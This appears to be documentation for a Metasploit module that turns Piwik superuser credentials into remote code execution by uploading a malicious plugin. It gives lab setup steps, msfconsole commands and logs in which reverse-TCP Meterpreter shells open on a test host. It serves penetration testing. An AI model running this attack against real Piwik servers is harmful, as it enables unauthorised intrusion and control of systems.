## Vulnerable Application

Piwik can be downloaded from the official site [piwik.org](https://piwik.org).
Older builds are also available from [builds.piwik.org](https://builds.piwik.org/).

This module was tested with Piwik versions 2.14.0, 2.16.0, 2.17.1 and 3.0.1

Piwik disabled custom plugin uploads in version 3.0.3. From version 3.0.3 onwards you have to enable custom plugin uploads via the config file.

## Verification Steps

### Install Piwik (Debian/Ubuntu)
1. Install dependencies

    ```
    sudo apt install apache2 php5 php5-mysql \
      libapache2-mod-php5 mariadb-server unzip php5-gd php5-curl
    ```
2. Download latest version of piwik (or the version of your choice from [builds.piwik.org](https://builds.piwik.org/))

    ```
    wget https://builds.piwik.org/piwik.zip
    ```

3. Unzip Piwik into webroot

    ```
    unzip -d /var/www/html/ piwik.zip
    ```

4. Make the webserver user the owner of piwik

    ```
    chown -R www-data:www-data /var/www/html/
    ```

5. Create a new user and database for piwik. If you want to run multiple versions in parallel use a different database for each install (user is optional).
This example assumes your MySQL root password is **password**

    ```
    mysql -u root -ppassword -e "CREATE DATABASE piwik;"
    mysql -u root -ppassword -e "CREATE USER piwik@localhost;"
    mysql -u root -ppassword -e "SET PASSWORD FOR piwik@localhost=PASSWORD('piwik');"
    mysql -u root -ppassword -e "GRANT ALL PRIVILEGES ON piwik.* TO piwik@localhost;"
    mysql -u root -ppassword -e "FLUSH PRIVILEGES;"
    ```

6. Add a config setting to PHP to stop piwik complaining about it

    ```
    echo always_populate_raw_post_data=-1 > /etc/php5/apache2/conf.d/99-piwik.ini
    ```

7. Finally restart Apache HTTPD

    ```
    service apache2 restart
    ```

### Pwn Piwik
1. Install the application (see installation steps above)
2. Start msfconsole
3. Do: ```use [module path]```
4. Do: ```set RHOST [Domain/IP]```
5. Do: ```set RPORT [Port]```
6. Do: ```set TARGETURI [installation directory]```
7. Do: ```set SSL [True/False]```
8. Do: ```set USERNAME [valid Piwik superuser credentials]```
9. Do: ```set PASSWORD [valid Piwik superuser credentials]```
10. Do: ```run```
11. You should get a shell.

## Options

### TARGETURI

Path of the Piwik installation.

### USERNAME

Valid username for a Piwik superuser account.

### PASSWORD

Valid password for a Piwik superuser account.

## Scenarios

### Run with a installation of Piwik 3.0.1

```
msf > use exploit/unix/webapp/piwik_superuser_plugin_upload
msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik/
TARGETURI => /piwik/
msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.56.2
RHOST => 192.168.56.2
msf exploit(piwik_superuser_plugin_upload) > set username firefart
username => firefart
msf exploit(piwik_superuser_plugin_upload) > set password firefart
password => firefart
msf exploit(piwik_superuser_plugin_upload) > options

Module options (exploit/unix/webapp/piwik_superuser_plugin_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   firefart         yes       The Piwik password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.56.2     yes       The target address
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /piwik/          yes       The URI path of the Piwik installation
   USERNAME   firefart         yes       The Piwik username to authenticate with
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Piwik

msf exploit(piwik_superuser_plugin_upload) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using firefart:firefart...
[+] Authenticated with Piwik
[*] Checking if user firefart has superuser access
[+] User firefart has superuser access
[*] Trying to get Piwik version
[+] Detected Piwik version 3.0.1
[*] Checking if Marketplace plugin is active
[+] Seems like the Marketplace plugin is already enabled
[*] Generating plugin
[+] Plugin SDsiXxPMgt generated
[*] Uploading plugin
[*] Activating plugin and triggering payload
[*] Sending stage (33986 bytes) to 192.168.56.2
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.2:43169) at 2017-02-13 23:03:29 +0100
[+] Deleted plugins/SDsiXxPMgt/plugin.json
[+] Deleted plugins/SDsiXxPMgt/SDsiXxPMgt.php

meterpreter > sysinfo
Computer    : web
OS          : Linux web 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64
Meterpreter : php/linux
```

### Run against Piwik 2.x

```
msf exploit(piwik_superuser_plugin_upload) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using firefart:firefart...
[+] Authenticated with Piwik
[*] Checking if user firefart has superuser access
[+] User firefart has superuser access
[*] Trying to get Piwik version
[+] Detected Piwik version 2.14.0
[*] Generating plugin
[+] Plugin zZETuwYkzB generated
[*] Uploading plugin
[*] Activating plugin and triggering payload
[*] Sending stage (33986 bytes) to 192.168.56.2
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.2:43182) at 2017-02-13 23:05:27 +0100
[+] Deleted plugins/zZETuwYkzB/plugin.json
[+] Deleted plugins/zZETuwYkzB/zZETuwYkzB.php
```

### Sample output of running with invalid credentials

```
msf exploit(piwik_superuser_plugin_upload) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using firefart:test...
[-] Exploit aborted due to failure: no-access: Failed to authenticate with Piwik
[*] Exploit completed, but no session was created.
```

### Sample output of running with non superuser user

```
msf exploit(piwik_superuser_plugin_upload) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using test:firefart...
[+] Authenticated with Piwik
[*] Checking if user test has superuser access
[-] Exploit aborted due to failure: no-access: Looks like user test has no superuser access
[*] Exploit completed, but no session was created.
```

### Sample output of Piwik 3.x with disabled Marketplace plugin

```
msf exploit(piwik_superuser_plugin_upload) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Trying to detect if target is running a supported version of piwik
[+] Detected Piwik installation
[*] Authenticating with Piwik using firefart:firefart...
[+] Authenticated with Piwik
[*] Checking if user firefart has superuser access
[+] User firefart has superuser access
[*] Trying to get Piwik version
[+] Detected Piwik version 3.0.1
[*] Checking if Marketplace plugin is active
[*] Marketplace plugin is not enabled, trying to enable it
[+] Marketplace plugin enabled
[*] Generating plugin
[+] Plugin TuwgJygjEu generated
[*] Uploading plugin
[*] Activating plugin and triggering payload
[*] Sending stage (33986 bytes) to 192.168.56.2
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.2:43246) at 2017-02-13 23:08:36 +0100
[+] Deleted plugins/TuwgJygjEu/plugin.json
[+] Deleted plugins/TuwgJygjEu/TuwgJygjEu.php
```
